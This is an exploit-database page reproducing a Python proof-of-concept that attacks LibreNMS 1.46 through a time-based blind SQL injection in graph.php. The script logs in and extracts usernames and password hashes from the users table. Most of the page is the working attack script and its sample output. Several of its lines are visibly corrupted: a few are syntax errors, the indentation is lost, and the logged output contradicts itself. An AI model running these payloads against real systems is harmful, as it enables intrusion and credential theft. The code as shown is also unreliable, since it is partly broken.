Lucene search
K

LibreNMS 1.46 SQL Injection

🗓️ 14 Dec 2020 00:00:00Reported by HodorsecType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 362 Views

LibreNMS 1.46 - MAC Accounting Graph Authenticated SQL Injectio

Code
`# Exploit Title: LibreNMS 1.46 - MAC Accounting Graph Authenticated SQL Injection  
# Google Dork: Unknown  
# Date: 13-12-2020  
# Exploit Author: Hodorsec  
# Vendor Homepage: https://www.librenms.org  
# Software Link: https://github.com/librenms/librenms  
# Update notice: https://community.librenms.org/t/v1-69-october-2020-info/13838  
# Version: 1.46  
# Tested on: Debian 10, PHP 7, LibreNMS 1.46; although newer version might be affected until 1.69 patch  
# CVE : N/A  
  
#!/usr/bin/python3  
  
# EXAMPLE:  
# $ python3 poc_librenms-1.46_auth_sqli_timed.py librenms D32fwefwef http://192.168.252.14 2  
# [*] Checking if authentication for page is required...  
# [*] Visiting page to retrieve initial token and cookies...  
# [*] Retrieving authenticated cookie...  
# [*] Printing number of rows in table...  
# 1  
# [*] Found 1 rows of data in table 'users'  
#  
# [*] Retrieving 1 rows of data using 'username' as column and 'users' as table...  
# [*] Extracting strings from row 1...  
# librenms  
# [*] Retrieved value 'librenKs' for column 'username' in row 1  
# [*] Retrieving 1 rows of data using 'password' as column and 'users' as table...  
# [*] Extracting strings from row 1...  
# $2y$10$pAB/lLNoT8wx6IedB3Hnpu./QMBqN9MsqJUcBy7bsr  
# [*] Retrieved value '$2y$10$pAB/lLNoT8wx6IedB3Hnpu./QMBqN9MsqJUcBy7bsr' for column 'password' in row 1  
#  
# [+] Done!  
  
import requests  
import urllib3  
import os  
import sys  
import re  
from bs4 import BeautifulSoup  
  
# Optionally, use a proxy  
# proxy = "http://<user>:<pass>@<proxy>:<port>"  
proxy = ""  
os.environ['http_proxy'] = proxy  
os.environ['HTTP_PROXY'] = proxy  
os.environ['https_proxy'] = proxy  
os.environ['HTTPS_PROXY'] = proxy  
  
# Disable cert warnings  
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)  
  
# Set timeout  
timeout = 10  
  
# Injection prefix and suffix  
inj_prefix = "(select(sleep("  
inj_suffix = ")))))"  
  
# Decimal begin and end  
dec_begin = 48  
dec_end = 57  
  
# ASCII char begin and end  
ascii_begin = 32  
ascii_end = 126  
  
# Handle CTRL-C  
def keyboard_interrupt():  
"""Handles keyboardinterrupt exceptions"""  
print("\n\n[*] User requested an interrupt, exiting...")  
exit(0)  
  
# Custom headers  
def http_headers():  
headers = {  
'User-Agent': 'Mozilla',  
}  
return headers  
  
def check_auth(url,headers):  
print("[*] Checking if authentication for page is required...")  
target = url + "/graph.php"  
r = requests.get(target,headers=headers,timeout=timeout,verify=False)  
if "Unauthorized" in r.text:  
return True  
else:  
return False  
  
def get_initial_token_and_cookies(url,headers):  
print("[*] Visiting page to retrieve initial token and cookies...")  
target = url + "/login"  
r = requests.get(target,headers=headers,timeout=timeout,verify=False)  
soup = BeautifulSoup(r.text,'html.parser')  
for n in soup('input'):  
if n['name'] == "_token":  
token = n['value']  
return token,r.cookies  
else:  
return None,r.cookies  
  
def get_valid_cookie(url,headers,token,cookies,usern,passw):  
print("[*] Retrieving authenticated cookie...")  
appl_cookie = "laravel_session"  
post_data = {'_token':token,  
'username':usern,  
'password':passw,  
'submit':''}  
target = url + "/login"  
r = requests.post(target,data=post_data,headers=headers,cookies=cookies,timeout=timeout,verify=False)  
res = r.text  
if "Overview | LibreNMS" in res:  
return r.cookies  
else:  
print("[!] No valid response from used session, exiting!\n")  
exit(-1)  
  
# Perform the SQLi call for injection  
def sqli(url,headers,cookies,inj_str,sleep):  
comment_inj_str = re.sub(" ","/**/",inj_str)  
inj_params = {'id':'1',  
'stat':'none',  
'type':'port_mac_acc_total',  
'sort':comment_inj_str,  
'debug':'1'}  
inj_params_unencoded = "&".join("%s=%s" % (k,v) for k,v in inj_params.items())  
# Do GET request  
r = requests.get(url,params=inj_params_unencoded,headers=headers,cookies=cookies,timeout=timeout,verify=False)  
res = r.elapsed.total_seconds()  
if res >= sleep:  
return True  
elif res < sleep:  
return False  
else:  
print("[!] Something went wrong checking responses. Check responses manually. Exiting.")  
exit(-1)  
  
# Extract rows  
def get_rows(url,headers,cookies,table,sleep):  
rows = ""  
max_pos_rows = 4  
# Get number maximum positional characters of rows: e.g. 1096,2122,1234,etc.  
for pos in range(1,max_pos_rows+1):  
# Test if current pos does have any valid value. If not, break  
direction = ">"  
inj_str = inj_prefix + str(sleep) + "-(if(ORD(MID((select IFNULL(CAST(COUNT(*) AS NCHAR),0x20) FROM " + table + ")," + str(pos) + ",1))" + direction + "1,0," + str(sleep) + inj_suffix  
if not sqli(url,headers,cookies,inj_str,sleep):  
break  
# Loop decimals  
direction = "="  
for num_rows in range(dec_begin,dec_end+1):  
row_char = chr(num_rows)  
inj_str = inj_prefix + str(sleep) + "-(if(ORD(MID((select IFNULL(CAST(COUNT(*) AS NCHAR),0x20) FROM " + table + ")," + str(pos) + ",1))"=+ direction + str(num_rows) + ",0," + str(sleep) + inj_suffix  
if sqli(url,headers,cookies,inj_str,sleep):  
rows += row_char  
print(row_char,end='',flush=True)  
break  
if rows != "":  
print("\n[*] Found " + rows + " rows of data in table '" + table + "'\n")  
return int(rows)  
else:  
return False  
  
# Loop through positions and characters  
def get_data(url,headers,cookies,row,column,table,sleep):  
extracted = ""  
max_pos_len = 50  
# Loop through length of string  
# Not very efficient, should use a guessing algorithm  
print("[*] Extracting strings from row " + str(row+1) + "...")  
for pos in range(1,max_pos_len):  
# Test if current pos does have any valid value. If not, break  
direction = ">"  
inj_str = inj_prefix + str(sleep) + "-(if(ord(mid((select ifnull(cast(" + column + " as NCHAR),0x20) from " + table + " LIMIT " + str(row) += ",1)," + str(pos) + ",1))" + direction + str(ascii_begin) + ",0," + str(sleep) + inj_suffix  
if not sqli(url,headers,cookies,inj_str,sleep):  
break  
# Loop through ASCII printable characters  
direction = "="  
for guess in range(ascii_begin,ascii_end+1):  
extracted_char = chr(guess)  
inj_str = inj_prefix + str(sleep) + "-(if(ord(mid((select ifnull(cast(" + column + " as NCHAR),0x20) from " + table + " LIMIT " + str(row) + ",1)," + str(pos) + ",1))" + direction + str(guess) + ",0," + str(sleep) + inj_suffix  
if sqli(url,headers,cookies,inj_str,sleep):  
extracted += chr(guess)  
print(extracted_char,end='',flush=True)  
break  
return extracted  
  
# Main  
def main(argv):  
if len(sys.argv) == 5:  
usern = sys.argv[1]  
passw = sys.argv[2]  
url = sys.argv[3]  
sleep = int(sys.argv[4])  
else:  
print("[*] Usage: " + sys.argv[0] + " <username> <password> <url> <sleep_in_seconds>\n")  
exit(0)  
  
# Random headers  
headers = http_headers()  
  
# Do stuff  
try:  
# Get a valid initial token and cookies  
token,cookies = get_initial_token_and_cookies(url,headers)  
  
# Check if authentication is required  
auth_required = check_auth(url,headers)  
  
if auth_required:  
# Get an authenticated session cookie using credentials  
valid_cookies = get_valid_cookie(url,headers,token,cookies,usern,passw)  
else:  
valid_cookies = cookies  
print("[+] Authentication not required, continue without authentication...")  
  
# Setting the correct vulnerable page  
url = url + "/graph.php"  
  
# The columns to retrieve  
columns = ['username','password']  
  
# The table to retrieve data from  
table = "users"  
  
# Getting rows  
print("[*] Printing number of rows in table...")  
rows = get_rows(url,headers,valid_cookies,table,sleep)  
if not rows:  
print("[!] Unable to retrieve rows, checks requests.\n")  
exit(-1)  
  
# Getting values for found rows in specified columns  
for column in columns:  
print("[*] Retrieving " + str(rows) + " rows of data using '" + column + "' as column and '" + table + "' as table...")  
for row in range(0,rows):  
# rowval_len = get_length(url,headers,row,column,table)  
retrieved = get_data(url,headers,valid_cookies,row,column,table,sleep)  
print("\n[*] Retrieved value '" + retrieved + "' for column'" + column + "' in row " + str(row+1))  
# Done  
print("\n[+] Done!\n")  
  
except requests.exceptions.Timeout:  
print("[!] Timeout error\n")  
exit(-1)  
except requests.exceptions.TooManyRedirects:  
print("[!] Too many redirects\n")  
exit(-1)  
except requests.exceptions.ConnectionError:  
print("[!] Not able to connect to URL\n")  
exit(-1)  
except requests.exceptions.RequestException as e:  
print("[!] " + str(e))  
exit(-1)  
except requests.exceptions.HTTPError as e:  
print("[!] Failed with error code - " + str(e.code) + "\n")  
exit(-1)  
except KeyboardInterrupt:  
keyboard_interrupt()  
exit(-1)  
  
# If we were called as a program, go execute the main function.  
if __name__ == "__main__":  
main(sys.argv[1:])  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation